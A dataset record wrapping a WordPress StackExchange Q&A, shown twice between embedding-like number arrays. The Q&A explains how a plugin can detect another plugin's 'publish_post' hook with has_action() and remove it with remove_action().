-0.151123046875, 0.032135009765625, 0.01154327392578125, -0.059722900390625, -0.0141448974609375, 0.00998687744140625, -0.10491943359375, -0.045379638671875, 0.025848388671875, -0.02001953125, -0.00563812255859375, 0.0033054351806640625, 0.0004839897155761719, -0.0231170654296875, 0.005706787109375, -0.0266876220703125, -0.088623046875, -0.0220794677734375, -0.01824951171875, 0.07049560546875, -0.003368377685546875, 0.0100555419921875, -0.0189971923828125, 0.05755615234375, -0.003387451171875, 0.0589599609375, -0.004364013671875, 0.0169219970703125, -0.01849365234375, -0.0146331787109375, 0.0301361083984375, -0.0269317626953125, 0.041412353515625, 0.0155792236328125, -0.06787109375, -0.03240966796875, -0.0193328857421875, -0.00444793701171875, 0.05767822265625, -0.06103515625, 0.00281524658203125, 0.00792694091796875, -0.048980712890625, -0.0253753662109375, -0.0235595703125, -0.01312255859375, 0.006427764892578125, -0.0170135498046875, 0.00566864013671875, -0.01092529296875, 0.00506591796875, 0.006923675537109375, 0.0606689453125, 0.01125335693359375, -0.0027027130126953125, -0.0082244873046875, -0.005924224853515625, 0.0236968994140625, -0.02020263671875, 0.025390625, 0.0206298828125, -0.01442718505859375, 0.048797607421875, 0.012908935546875, 0.0201263427734375, -0.0233612060546875, 0.0276031494140625, 0.00997161865234375, -0.0257415771484375, 0.031341552734375, 0.03240966796875, -0.0122528076171875, 0.027374267578125, -0.01861572265625, 0.0016527175903320312, -0.006931304931640625, 0.0139617919921875, -0.0005712509155273438, -0.0039005279541015625, -0.029541015625, -0.053375244140625, 0.0129547119140625, -0.0723876953125, 0.04296875, 0.0249786376953125, -0.0031452178955078125, 0.049713134765625, 0.02886962890625, -0.033721923828125, 0.0070037841796875, 0.01120758056640625, 0.0604248046875, 0.0311431884765625, 0.01218414306640625, 0.0107421875, -0.0291748046875, -0.0147247314453125, 0.07177734375, 0.0140228271484375, -0.033538818359375, -0.0242462158203125, -0.0080413818359375, 0.040557861328125, -0.0190277099609375, -0.04815673828125, 0.042327880859375, 0.0479736328125, -0.018585205078125, -0.005779266357421875, -0.059051513671875, 0.026824951171875, -0.059814453125, 0.035064697265625, 0.03753662109375, -0.0161285400390625, 0.0164642333984375, 0.06927490234375, -0.0088348388671875, 0.0399169921875, -0.00843048095703125, 0.036163330078125, 0.018798828125, 0.0594482421875, 0.02001953125, -0.043060302734375, -0.0013456344604492188, 0.0150604248046875, -0.030548095703125, -0.030609130859375, -0.0333251953125, 0.01552581787109375, -0.0004220008850097656, -0.007793426513671875, 0.01548004150390625, 0.0305938720703125, 0.0517578125, -0.0092926025390625, -0.03472900390625, -0.034393310546875, 0.0024776458740234375, 0.0164947509765625, 0.0253753662109375, 0.005283355712890625, 0.0335693359375, 0.0079345703125, 0.00296783447265625, -0.00010854005813598633, 0.0089569091796875, -0.037872314453125, -0.0118865966796875, 0.01419830322265625, 0.00554656982421875, -0.01189422607421875, -0.0164031982421875, -0.035858154296875, 0.01534271240234375, -0.000835418701171875, -0.01030731201171875, -0.02862548828125, 0.037078857421875, -0.01248931884765625, 0.054412841796875, -0.0548095703125, -0.004138946533203125, -0.048828125, -0.01544189453125, 0.060943603515625, 0.03875732421875, -0.002033233642578125, -0.0277099609375, -0.037017822265625, -0.044891357421875, -0.018402099609375, 0.035003662109375, -0.03814697265625, 0.013824462890625, -0.024017333984375, 0.0018663406372070312, -0.01061248779296875, -0.008941650390625, -0.0219573974609375, 0.056610107421875, 0.0279693603515625, 0.03887939453125, -0.015289306640625, 0.0248260498046875, 0.01459503173828125, 0.02764892578125, 0.01605224609375, 0.007450103759765625, 0.005352020263671875, -0.00579071044921875, -0.00508880615234375, -0.033843994140625, -0.00264739990234375, -0.0113983154296875, -0.00278472900390625, 0.0202484130859375, 0.033905029296875, 0.0004086494445800781, 0.045440673828125, -0.01175689697265625, 0.00839996337890625, -0.0209808349609375, -0.01230621337890625, -0.052001953125, -0.019287109375, 0.0271453857421875, -0.0293121337890625, -0.006134033203125, -0.03851318359375, -0.01280975341796875, 0.04052734375, -0.0175933837890625, 0.037628173828125, 0.01641845703125, -0.0198211669921875, 0.036956787109375, 0.0231475830078125, -0.0030155181884765625, 0.0277557373046875, -0.00237274169921875, 0.00685882568359375, 0.0005946159362792969, 0.05657958984375, 0.0247650146484375, -0.045501708984375, 0.03680419921875, 0.0019989013671875, -0.0218963623046875, -0.0150299072265625, -0.027984619140625, 0.0010881423950195312, 0.032958984375, 0.0350341796875, -0.05828857421875, 0.007171630859375, -0.0189666748046875, -0.0010404586791992188, 0.0323486328125, -0.0234832763671875, -0.0012388229370117188, 0.01041412353515625, 0.07159423828125, -0.0214691162109375, -0.0121612548828125, 0.037384033203125, -0.0255126953125, -0.006816864013671875, 0.0263214111328125, 0.0007853507995605469, 0.005321502685546875, -0.045806884765625, -0.006000518798828125, 0.003509521484375, 0.0006818771362304688, 0.01273345947265625, 0.016845703125, -0.014434814453125, -0.04132080078125, -0.04400634765625, -0.026397705078125, -0.007144927978515625, -0.05914306640625, 0.057708740234375, 0.021148681640625, 0.05377197265625, 0.041168212890625, 0.02020263671875, 0.01082611083984375, -0.0163726806640625, 0.04840087890625, 0.056488037109375, -0.04376220703125, 0.02960205078125, 0.03900146484375, -0.08062744140625, 0.005603790283203125, 0.013153076171875, -0.00946044921875, 0.002777099609375, 0.02325439453125, 0.019287109375, -0.012481689453125, -0.0251007080078125, 0.053009033203125, -0.0018033981323242188, -0.0160064697265625, 0.0053253173828125, -0.01094818115234375, -0.05157470703125, -0.032440185546875, 0.01227569580078125, -0.051971435546875, 0.02581787109375, 0.0211334228515625, -0.044158935546875, 0.10321044921875, 0.006015777587890625, 0.004573822021484375, 0.01534271240234375, 0.042205810546875, -0.05059814453125, 0.0164337158203125, -0.029449462890625, -0.00955963134765625, -0.01812744140625, 0.03045654296875, -0.0238037109375, -0.0015239715576171875, -0.0180206298828125, 0.01544952392578125, 0.0196380615234375, -0.01161956787109375, 0.0227508544921875, -0.02850341796875, 0.048095703125, 0.064453125, 0.01325225830078125, -0.0117950439453125, 0.01021575927734375, -0.0307769775390625, 0.00982666015625, 0.0149688720703125, 0.0288543701171875, -0.04168701171875, -0.0113525390625, 0.03466796875, -0.01099395751953125, -0.0347900390625, 0.03173828125, -0.0186920166015625, -0.039459228515625, 0.016387939453125, 0.02264404296875, -0.0311126708984375, -0.01366424560546875, 0.058380126953125, -0.004161834716796875, 0.037109375, -0.00304412841796875, -0.034759521484375, 0.0222625732421875, -0.0184783935546875, 0.025115966796875, -0.0008959770202636719, 0.00875091552734375, 0.0224456787109375, 0.0036525726318359375, 0.0023860931396484375, 0.04339599609375, -0.019683837890625, 0.0198516845703125, 0.0028018951416015625, 0.025238037109375, -0.005565643310546875, 0.04852294921875, -0.033294677734375, -0.0155792236328125, -0.03485107421875, -0.06829833984375, 0.0004837512969970703, -0.0019130706787109375, 0.03369140625, 0.0202484130859375, 0.037841796875, -0.0760498046875, -0.034576416015625, -0.0303802490234375, -0.0093231201171875, 0.046356201171875, 0.041290283203125, 0.0182037353515625, 0.017333984375, -0.0682373046875, -0.038726806640625, -0.019744873046875, -0.015350341796875, 0.0230712890625, 0.051727294921875, 0.011322021484375, 0.030853271484375, -0.01505279541015625, -0.0161285400390625, -0.0184783935546875, 0.03753662109375, 0.052886962890625, -0.012054443359375, 0.0207061767578125, 0.0260467529296875, 0.0116729736328125, -0.005817413330078125, 0.005626678466796875, 0.0207366943359375, 0.035064697265625, 0.01520538330078125, -0.01158905029296875, -0.00859832763671875, 0.035675048828125, -0.01727294921875, 0.022064208984375, -0.0139617919921875, 0.02069091796875, 0.023101806640625, -0.013397216796875, -0.0132904052734375, 0.01503753662109375, 0.03564453125, -0.033203125, 0.055999755859375, -0.01540374755859375, -0.006961822509765625, 0.041839599609375, -0.0231781005859375, 0.08392333984375, -0.01169586181640625, -0.11944580078125, -0.0205841064453125, -0.0276336669921875, -0.060516357421875, 0.03668212890625, 0.041961669921875, -0.033599853515625, 0.01354217529296875, 0.00461578369140625, -0.0399169921875, 0.0396728515625, 0.0282135009765625, -0.021209716796875, -0.0200347900390625, 0.014007568359375, -0.035003662109375, -0.022247314453125, -0.0273895263671875, 0.007099151611328125, 0.02276611328125, -0.0030651092529296875, 0.01654052734375, -0.003162384033203125, 0.005138397216796875, 0.033782958984375, -0.027923583984375, 0.035430908203125, 0.01457977294921875, 0.043914794921875, -0.01328277587890625, -0.0212249755859375, -0.0219268798828125, 0.0118560791015625, 0.0087432861328125, -0.02069091796875, -0.0128936767578125, -0.0092010498046875, -0.0587158203125, 0.018890380859375, 0.051055908203125, 0.03369140625, -0.0185394287109375, -0.031005859375, -0.03448486328125, -0.030731201171875, 0.0294342041015625, 0.0469970703125, 0.0338134765625, 0.0234375, 0.0250701904296875, 0.01349639892578125, 0.004444122314453125, -0.00498199462890625, -0.007122039794921875, 0.0186920166015625, -0.0017242431640625, -0.029541015625, 0.036224365234375, -0.0005350112915039062, -0.02154541015625, 0.040313720703125, 0.024322509765625, 0.01517486572265625, -0.0706787109375, 0.0452880859375, 0.03497314453125, 0.04119873046875, -0.0205078125, -0.00682830810546875, 0.050537109375, 0.0003528594970703125, -0.03466796875, -0.026214599609375, -0.01314544677734375, -0.039520263671875, 0.0225372314453125, 0.0303192138671875, 0.0229644775390625, 0.02105712890625, 0.02069091796875, 0.0240936279296875, 0.0093536376953125, 0.01033782958984375, -0.044891357421875, 0.007904052734375, -0.01995849609375, 0.03924560546875, -0.00833892822265625, 0.0177459716796875, 0.0268096923828125, 0.07177734375, -0.04248046875, -0.01739501953125, 0.00007873773574829102, 0.01291656494140625, -0.006877899169921875, 0.0242156982421875, 0.024169921875, -0.0301666259765625, -0.00768280029296875, 0.0098114013671875, 0.0249786376953125, 0.05755615234375, 0.029388427734375, -0.00234222412109375, 0.03375244140625, 0.0065460205078125, -0.0230560302734375, -0.08074951171875, -0.01354217529296875, -0.060821533203125, 0.0233917236328125, -0.010986328125, -0.01271820068359375, -0.0084228515625, -0.056640625, -0.0889892578125, 0.07232666015625, -0.021270751953125, -0.0222015380859375, -0.0174560546875, -0.0076141357421875, 0.0179595947265625, -0.00908660888671875, -0.0012960433959960938, -0.032684326171875, -0.06317138671875, 0.00652313232421875, 0.018585205078125, -0.00843048095703125, 0.0285186767578125, -0.0186614990234375, -0.0153350830078125, 0.0219879150390625, 0.034942626953125, 0.00521087646484375, 0.001651763916015625, -0.0135498046875, 0.01447296142578125, 0.031982421875, -0.0257415771484375, -0.0672607421875, 0.004009246826171875, 0.001262664794921875, -0.0028476715087890625, -0.042816162109375, -0.0223846435546875, -0.041595458984375, 0.061431884765625, 0.01351165771484375, 0.01137542724609375, 0.005634307861328125, -0.01509857177734375, -0.041107177734375, 0.028839111328125, -0.05010986328125, 0.0018873214721679688, -0.0633544921875, -0.01422882080078125, 0.01432037353515625, 0.03216552734375, -0.00922393798828125, 0.0274810791015625, 0.01519012451171875, -0.02655029296875, 0.0625, 0.0003669261932373047, -0.06390380859375, -0.029022216796875, 0.09796142578125, -0.05072021484375, 0.004253387451171875, 0.034637451171875, 0.020477294921875, 0.07421875, 0.052947998046875, -0.04156494140625, 0.0211639404296875, 0.0010156631469726562, 0.0259552001953125, -0.002185821533203125, 0.00927734375, -0.01142120361328125, 0.01788330078125, -0.0009927749633789062, -0.0263214111328125, 0.0073699951171875, -0.0291900634765625, -0.02099609375, -0.0219268798828125, -0.01947021484375, -0.00453948974609375, -0.00959014892578125, -0.044952392578125, -0.033935546875, 0.03009033203125, -0.013336181640625, -0.01476287841796875, 0.02532958984375, -0.04229736328125, 0.00212860107421875, 0.033966064453125, -0.017974853515625, -0.045166015625, 0.0283966064453125, 0.010894775390625, 0.00740814208984375, 0.0098724365234375 ]
23d8d48d54e7766ca1aae753911319b5f299b960
Wordpress Stackexchange Q: Intercepting a add_action Assume that some other plugin or theme uses a add_action hook. Is there a way to determine if a specific hook is being used by someone else? Example: assume that a plugin has this code add_action ( 'publish_post', 'myCustomFunction' ); function myCustomFunction() { // does something } Can my plugin 'look' for the use of that hook into 'publish_post'? And can I remove that particular action hook before it fires? A: You can use has_action(). It returns the priority of the hook if it exists, otherwise false. So check that the priority is not equal to false (and not just false-y, or being hooked at 0 will appear false) then use that to remove the hook. $priority = has_action( 'publish_post', 'myCustomFunction' ); if ( $priority !== false ) { remove_action( 'publish_post', 'myCustomFunction', $priority ); } There's also has_filter(), which does exactly the same thing (has_action() just calls has_filter()).
Q: Intercepting a add_action Assume that some other plugin or theme uses a add_action hook. Is there a way to determine if a specific hook is being used by someone else? Example: assume that a plugin has this code add_action ( 'publish_post', 'myCustomFunction' ); function myCustomFunction() { // does something } Can my plugin 'look' for the use of that hook into 'publish_post'? And can I remove that particular action hook before it fires? A: You can use has_action(). It returns the priority of the hook if it exists, otherwise false. So check that the priority is not equal to false (and not just false-y, or being hooked at 0 will appear false) then use that to remove the hook. $priority = has_action( 'publish_post', 'myCustomFunction' ); if ( $priority !== false ) { remove_action( 'publish_post', 'myCustomFunction', $priority ); } There's also has_filter(), which does exactly the same thing (has_action() just calls has_filter()).
wordpress
{ "language": "en", "length": 152, "provenance": "stackexchange_00019.jsonl.gz:486401", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/304305" }
[ 0.07080078125, 0.0290374755859375, -0.0244293212890625, -0.0204010009765625, 0.04937744140625, -0.04034423828125, 0.060516357421875, -0.0280303955078125, -0.01499176025390625, 0.0026264190673828125, 0.0187530517578125, 0.004302978515625, -0.045989990234375, -0.03375244140625, -0.0112152099609375, -0.0255126953125, 0.022705078125, 0.01146697998046875, 0.042694091796875, -0.01238250732421875, 0.0211639404296875, 0.004619598388671875, 0.028564453125, 0.015777587890625, 0.01549530029296875, -0.03082275390625, 0.0440673828125, -0.02691650390625, 0.0270233154296875, 0.00597381591796875, 0.023284912109375, -0.038055419921875, 0.0180511474609375, 0.05047607421875, -0.049346923828125, 0.011444091796875, 0.0012416839599609375, 0.012481689453125, -0.014801025390625, 0.058685302734375, 0.0382080078125, -0.0195159912109375, -0.0267181396484375, 0.004238128662109375, -0.02032470703125, -0.049591064453125, 0.06646728515625, -0.00662994384765625, 0.0213623046875, -0.0116424560546875, 0.0014066696166992188, -0.00307464599609375, 0.00826263427734375, 0.0189971923828125, -0.01561737060546875, 0.0167999267578125, -0.0555419921875, 0.0814208984375, 0.016204833984375, 0.048675537109375, -0.00914764404296875, 0.0218505859375, -0.02801513671875, -0.06927490234375, 0.03277587890625, 0.007080078125, -0.006626129150390625, 0.01483917236328125, -0.023284912109375, 0.05767822265625, 0.03607177734375, -0.055755615234375, -0.0340576171875, 0.039825439453125, -0.042144775390625, -0.08905029296875, 0.045501708984375, -0.0777587890625, -0.0018291473388671875, 0.040069580078125, -0.039825439453125, -0.05999755859375, -0.02069091796875, -0.01202392578125, -0.007480621337890625, 0.0059051513671875, -0.0179595947265625, 0.026611328125, -0.045074462890625, -0.02117919921875, -0.03680419921875, -0.0173492431640625, -0.005352020263671875, -0.035552978515625, -0.0303497314453125, -0.016326904296875, 0.046173095703125, 0.042266845703125, -0.0191497802734375, -0.0308074951171875, 0.00675201416015625, -0.036651611328125, -0.0234375, -0.0118408203125, 0.021270751953125, 0.06817626953125, 0.0083160400390625, -0.0234832763671875, 0.01117706298828125, -0.01497650146484375, -0.008636474609375, -0.016265869140625, 0.00992584228515625, 0.022308349609375, -0.0260772705078125, -0.0253448486328125, -0.031707763671875, 0.034454345703125, -0.01248931884765625, 0.0457763671875, 0.00730133056640625, 0.0102386474609375, 0.0021991729736328125, -0.030242919921875, 0.0089569091796875, -0.00908660888671875, -0.041046142578125, 0.0028820037841796875, 0.01535797119140625, 0.0143585205078125, -0.020263671875, 0.01873779296875, 0.08892822265625, -0.0012874603271484375, -0.0167999267578125, -0.0247039794921875, -0.0159912109375, -0.0006256103515625, -0.0101776123046875, 0.00994873046875, -0.01149749755859375, -0.0606689453125, -0.01367950439453125, -0.0007691383361816406, -0.006011962890625, -0.00400543212890625, 0.002193450927734375, 0.006076812744140625, 0.010101318359375, -0.015655517578125, 0.01806640625, -0.056396484375, 0.015777587890625, 0.00933074951171875, 0.033477783203125, 0.024749755859375, 0.0352783203125, -0.007183074951171875, -0.02587890625, 0.00959014892578125, 0.005138397216796875, -0.0203704833984375, -0.0157928466796875, -0.04559326171875, -0.07672119140625, 0.026153564453125, -0.0196685791015625, -0.00644683837890625, 0.00887298583984375, -0.02740478515625, 0.006732940673828125, 0.034881591796875, 0.0029392242431640625, 0.00971221923828125, 0.019805908203125, 0.0037746429443359375, 0.0018587112426757812, 0.0311737060546875, 0.02752685546875, 0.0007042884826660156, -0.0257568359375, -0.04376220703125, 0.07861328125, -0.0367431640625, -0.0736083984375, 0.04827880859375, 0.033203125, 0.0780029296875, -0.024017333984375, 0.01108551025390625, 0.07904052734375, 0.044830322265625, -0.0253143310546875, 0.01303863525390625, -0.0202178955078125, -0.0193023681640625, 0.01525115966796875, 0.0117950439453125, -0.0144195556640625, 0.00777435302734375, 0.04937744140625, 0.02001953125, -0.0107421875, -0.018402099609375, -0.089599609375, 0.01015472412109375, -0.0290069580078125, 0.033966064453125, 0.0033206939697265625, 0.022491455078125, 0.00959014892578125, 0.0160980224609375, -0.036163330078125, -0.005645751953125, -0.0186614990234375, 0.0119476318359375, -0.058685302734375, -0.0062103271484375, -0.01161956787109375, 0.0270538330078125, -0.001194000244140625, -0.027374267578125, -0.0188140869140625, -0.032928466796875, 0.0377197265625, 0.002574920654296875, -0.005184173583984375, -0.00954437255859375, -0.016265869140625, 0.02880859375, -0.07061767578125, 0.029022216796875, 0.02679443359375, 0.0435791015625, 0.017608642578125, 0.0145721435546875, -0.00308990478515625, -0.127685546875, 0.01270294189453125, 0.05938720703125, 0.034820556640625, 0.0235748291015625, -0.01629638671875, -0.0141143798828125, 0.015777587890625, -0.06964111328125, 0.004383087158203125, -0.0066070556640625, 0.03912353515625, 0.0958251953125, -0.037841796875, 0.006336212158203125, -0.008026123046875, -0.053253173828125, 0.0019006729125976562, 0.0246734619140625, 0.01092529296875, -0.0253143310546875, -0.0023956298828125, -0.008544921875, 0.0185546875, -0.0196075439453125, -0.047210693359375, 0.01413726806640625, 0.027252197265625, -0.04168701171875, 0.0253753662109375, 0.0087738037109375, 0.0210418701171875, -0.04058837890625, 0.014312744140625, -0.0214996337890625, 0.0002276897430419922, 0.002758026123046875, 0.033294677734375, 0.024139404296875, -0.021087646484375, -0.02154541015625, 0.007720947265625, 0.005035400390625, -0.0271453857421875, 0.03436279296875, -0.0303497314453125, -0.018798828125, -0.025054931640625, -0.01219940185546875, -0.0030727386474609375, -0.031524658203125, 0.0458984375, 0.0025787353515625, 0.01485443115234375, 0.010406494140625, -0.030181884765625, 0.05859375, 0.01265716552734375, -0.0504150390625, -0.05303955078125, -0.055816650390625, 0.0538330078125, -0.0277557373046875, 0.0150299072265625, 0.08624267578125, 0.02337646484375, 0.01751708984375, 0.006488800048828125, -0.007442474365234375, -0.020172119140625, 0.0139007568359375, -0.0034942626953125, 0.014404296875, -0.0751953125, 0.0209197998046875, 0.01861572265625, 0.0364990234375, -0.0252838134765625, -0.045806884765625, -0.023193359375, 0.00943756103515625, -0.0687255859375, -0.047576904296875, 0.0002837181091308594, -0.04937744140625, 0.029998779296875, -0.01971435546875, -0.016326904296875, -0.03936767578125, 0.019744873046875, 0.01113128662109375, -0.0684814453125, 0.0276641845703125, 0.030059814453125, -0.023468017578125, 0.0023059844970703125, 0.007274627685546875, 0.01264190673828125, 0.0247802734375, 0.00592041015625, 0.08453369140625, 0.015869140625, -0.038299560546875, 0.02294921875, -0.057342529296875, -0.033477783203125, 0.0249176025390625, 0.003589630126953125, -0.00551605224609375, -0.011138916015625, 0.00402069091796875, -0.007457733154296875, 0.0080108642578125, 0.00415802001953125, -0.0160980224609375, 0.00730133056640625, -0.0294189453125, 0.036346435546875, 0.04638671875, -0.03790283203125, -0.003631591796875, 0.0555419921875, -0.05303955078125, 0.028839111328125, 0.0286865234375, 0.00121307373046875, -0.0303497314453125, -0.0257720947265625, -0.0394287109375, 0.01812744140625, -0.025146484375, 0.0303192138671875, 0.016815185546875, 0.0250396728515625, 0.0036144256591796875, -0.0005841255187988281, -0.0038242340087890625, 0.032012939453125, -0.03485107421875, -0.0438232421875, -0.031158447265625, 0.04779052734375, -0.0269775390625, 0.0267486572265625, -0.01013946533203125, 0.04864501953125, -0.015533447265625, 0.022552490234375, 0.00576019287109375, -0.035736083984375, 0.031494140625, -0.018310546875, 0.006252288818359375, -0.008636474609375, 0.031585693359375, -0.024627685546875, -0.0245208740234375, -0.0014600753784179688, 0.0182037353515625, -0.046630859375, -0.01415252685546875, -0.02423095703125, 0.001377105712890625, -0.07757568359375, 0.0009546279907226562, 0.0070343017578125, -0.037322998046875, -0.0191497802734375, 0.01136016845703125, -0.0693359375, -0.0254669189453125, 0.0262451171875, -0.047607421875, 0.00530242919921875, 0.031005859375, -0.0240325927734375, 0.01202392578125, -0.0232391357421875, -0.04034423828125, -0.0185089111328125, 0.0101776123046875, -0.06243896484375, 0.004360198974609375, 0.0210113525390625, 0.022216796875, 0.00795745849609375, 0.0173492431640625, 0.0270233154296875, 0.024993896484375, -0.00592041015625, -0.029266357421875, 0.00811767578125, -0.0222930908203125, -0.0063018798828125, -0.013153076171875, 0.03460693359375, 0.03485107421875, -0.031280517578125, -0.0109405517578125, -0.049072265625, -0.028472900390625, 0.0268402099609375, -0.0682373046875, -0.061370849609375, -0.0198822021484375, -0.00205230712890625, 0.003509521484375, -0.007495880126953125, 0.00603485107421875, -0.0195770263671875, -0.056060791015625, 0.0211639404296875, -0.06939697265625, -0.00010478496551513672, 0.00867462158203125, 0.087890625, 0.0197296142578125, 0.01302337646484375, 0.034423828125, -0.01568603515625, 0.00628662109375, 0.01153564453125, 0.0303497314453125, 0.003570556640625, 0.00238037109375, 0.01934814453125, -0.012359619140625, -0.0023097991943359375, -0.047607421875, 0.07012939453125, 0.00836944580078125, 0.0246734619140625, -0.0111846923828125, -0.02239990234375, 0.042816162109375, -0.004375457763671875, -0.02447509765625, -0.0015716552734375, 0.0233306884765625, 0.02044677734375, -0.0618896484375, 0.08526611328125, 0.00470733642578125, 0.0093841552734375, -0.00951385498046875, 0.0278778076171875, 0.0179443359375, 0.048248291015625, -0.00807952880859375, -0.004795074462890625, -0.0196533203125, -0.0137786865234375, -0.0030975341796875, 0.019775390625, -0.0118865966796875, 0.03985595703125, -0.0177764892578125, -0.01470184326171875, -0.02117919921875, 0.01055908203125, 0.0033416748046875, -0.0360107421875, -0.05908203125, -0.049591064453125, 0.0003151893615722656, 0.016510009765625, 0.031097412109375, -0.022430419921875, 0.0292816162109375, 0.056549072265625, -0.034423828125, 0.0104827880859375, 0.0007963180541992188, 0.0113372802734375, -0.04693603515625, -0.027313232421875, 0.0035400390625, -0.037384033203125, 0.046173095703125, -0.02459716796875, 0.01198577880859375, -0.0010232925415039062, -0.0194854736328125, 0.0487060546875, 0.0302581787109375, 0.00635528564453125, -0.00021255016326904297, 0.03216552734375, 0.0014753341674804688, -0.0205841064453125, 0.0025634765625, -0.01873779296875, 0.007221221923828125, 0.00479888916015625, -0.0070343017578125, -0.00865936279296875, -0.011962890625, 0.0419921875, 0.00621795654296875, -0.04693603515625, 0.038818359375, 0.0325927734375, -0.01274871826171875, -0.043426513671875, -0.0260162353515625, 0.015350341796875, 0.054595947265625, 0.0009760856628417969, 0.00269317626953125, 0.0019683837890625, -0.0014753341674804688, 0.0389404296875, -0.054473876953125, 0.010101318359375, 0.02423095703125, 0.006988525390625, -0.01380157470703125, -0.0108184814453125, -0.041717529296875, -0.024749755859375, -0.01450347900390625, 0.016510009765625, 0.049530029296875, -0.019287109375, 0.0104827880859375, -0.0167083740234375, -0.007061004638671875, -0.0252685546875, 0.0011930465698242188, 0.07183837890625, 0.039215087890625, -0.05084228515625, -0.01873779296875, -0.0230865478515625, -0.02044677734375, -0.039154052734375, -0.030029296875, -0.038055419921875, 0.003482818603515625, -0.006793975830078125, 0.022552490234375, -0.0147705078125, 0.00626373291015625, 0.0035228729248046875, 0.0160980224609375, -0.01812744140625, 0.0217132568359375, 0.0038394927978515625, 0.05889892578125, -0.017364501953125, 0.0223846435546875, 0.0230865478515625, 0.03057861328125, -0.00441741943359375, -0.0157012939453125, -0.020263671875, -0.039306640625, 0.0249786376953125, 0.01239776611328125, 0.02508544921875, 0.012847900390625, 0.01456451416015625, 0.0095977783203125, -0.0399169921875, 0.003452301025390625, 0.01334381103515625, -0.020843505859375, 0.03369140625, 0.0264739990234375, -0.0391845703125, 0.00890350341796875, -0.04193115234375, 0.009674072265625, -0.009185791015625, 0.0054473876953125, 0.03302001953125, -0.034027099609375, 0.0303192138671875, 0.011627197265625, -0.0167236328125, 0.04425048828125, 0.0302581787109375, 0.00662994384765625, 0.04705810546875, 0.005756378173828125, 0.03265380859375, 0.012725830078125, 0.0133209228515625, -0.002483367919921875, -0.03173828125, 0.04754638671875, 0.012481689453125, 0.0220794677734375, 0.06622314453125, -0.01352691650390625, 0.0266265869140625, 0.03912353515625, 0.050140380859375, -0.0672607421875, 0.00960540771484375, 0.0164031982421875, -0.0210113525390625, 0.0236053466796875, -0.015472412109375, 0.020233154296875, -0.0288543701171875, 0.052886962890625, 0.04888916015625, 0.004024505615234375, 0.0394287109375, -0.0196075439453125, -0.0302276611328125, -0.0285491943359375, -0.0101776123046875, 0.0111541748046875, 0.047454833984375, 0.0238189697265625, -0.036712646484375, 0.026458740234375, -0.026153564453125, 0.01483917236328125, 0.0250244140625, -0.01629638671875, -0.052947998046875, 0.03143310546875, -0.0211639404296875, -0.0168609619140625, -0.004547119140625, 0.0036983489990234375, 0.004398345947265625, 0.0303497314453125, -0.01290130615234375, -0.010589599609375, 0.00885009765625, -0.033477783203125, -0.0816650390625, -0.028778076171875, -0.0077056884765625, 0.0582275390625, -0.017669677734375, 0.035888671875, -0.0295562744140625, -0.01111602783203125, 0.0165863037109375, 0.00820159912109375, 0.039642333984375, -0.07781982421875, 0.006076812744140625, 0.02935791015625, 0.0129241943359375, 0.01313018798828125, -0.0046844482421875, 0.039764404296875, -0.03204345703125, -0.01428985595703125, 0.0103302001953125, -0.0181427001953125, -0.022369384765625, 0.005664825439453125, -0.0716552734375, 0.0712890625, 0.0006327629089355469, 0.01354217529296875, -0.022247314453125, 0.019927978515625, -0.00417327880859375, 0.0018472671508789062, -0.061614990234375, 0.072021484375, -0.0272216796875, 0.07879638671875, -0.0435791015625, 0.012664794921875, 0.024810791015625, -0.007076263427734375, 0.058837890625, 0.0216827392578125, -0.042083740234375, -0.020843505859375, 0.007476806640625, -0.00688934326171875, -0.0128631591796875, 0.04241943359375, -0.0133819580078125, -0.006969451904296875, 0.017730712890625, -0.033843994140625, 0.026153564453125, -0.020660400390625, -0.01849365234375, -0.0010709762573242188, 0.002132415771484375, -0.0141448974609375, -0.0252227783203125, 0.05157470703125, -0.03857421875, -0.01149749755859375, 0.0250396728515625, 0.0158538818359375, 0.0118408203125, 0.00977325439453125, 0.0124053955078125, 0.00701904296875, 0.010498046875, -0.0146636962890625, 0.04144287109375, 0.0074462890625, -0.003818511962890625, 0.015106201171875, 0.0206298828125, -0.019622802734375, 0.017913818359375, 0.0146636962890625, 0.0491943359375, -0.0396728515625, 0.018157958984375, 0.01541900634765625, 0.01293182373046875, -0.007373809814453125, 0.028106689453125, 0.032257080078125, 0.022216796875, -0.025390625, -0.045013427734375, 0.00844573974609375, -0.02252197265625, -0.0132904052734375, 0.004566192626953125, -0.026641845703125, -0.022735595703125, 0.0227203369140625, -0.035400390625, -0.0311737060546875, 0.01009368896484375, 0.050323486328125, -0.01035308837890625, -0.024749755859375, -0.011993408203125, -0.046722412109375, -0.043060302734375, -0.009033203125, -0.0000731348991394043, 0.061492919921875, 0.02044677734375, 0.056854248046875, -0.0216064453125, -0.0297393798828125, -0.029571533203125, 0.025848388671875, -0.020172119140625, 0.05023193359375, -0.07830810546875, -0.034332275390625, -0.007610321044921875, 0.0584716796875, 0.04949951171875, 0.038482666015625, 0.00989532470703125, 0.00307464599609375, 0.0235137939453125, 0.027130126953125, 0.046356201171875, -0.0118408203125, 0.0097808837890625, -0.06451416015625, 0.02886962890625, -0.008270263671875, -0.007259368896484375, 0.002407073974609375, -0.005107879638671875, 0.0224456787109375, -0.0413818359375, -0.004291534423828125, 0.003635406494140625, -0.042449951171875, 0.0517578125, 0.004909515380859375, 0.0452880859375, -0.00997161865234375, -0.0484619140625, -0.00223541259765625, -0.055908203125, -0.04046630859375, 0.029632568359375, 0.040069580078125, -0.014312744140625, 0.0175628662109375, 0.0443115234375, 0.0084228515625, 0.0119781494140625, -0.01308441162109375, 0.0105438232421875, 0.0027866363525390625, 0.0203399658203125, 0.0223846435546875, 0.071044921875, 0.0238494873046875, 0.04296875, 0.03985595703125, 0.022979736328125, -0.0012493133544921875, -0.025421142578125, 0.02996826171875, 0.01136016845703125, -0.000896453857421875, 0.016845703125, -0.00606536865234375, 0.0084991455078125, -0.00208282470703125, -0.007717132568359375, -0.016998291015625, -0.050079345703125, -0.0241241455078125, 0.0428466796875, -0.00862884521484375, -0.0285186767578125, 0.01136016845703125, 0.042877197265625, 0.0144195556640625, 0.0239715576171875, -0.016357421875, -0.016143798828125, -0.031036376953125, -0.026092529296875, 0.04638671875, 0.042724609375, 0.0159759521484375, 0.0183868408203125, -0.0178985595703125, -0.018402099609375, -0.00940704345703125, 0.003925323486328125, -0.03558349609375, 0.0147552490234375, -0.019439697265625, 0.002117156982421875, 0.0131072998046875, -0.0114288330078125, 0.00433349609375, 0.0379638671875, -0.004680633544921875, 0.0234375, -0.00801849365234375, -0.0209503173828125, 0.0027980804443359375, 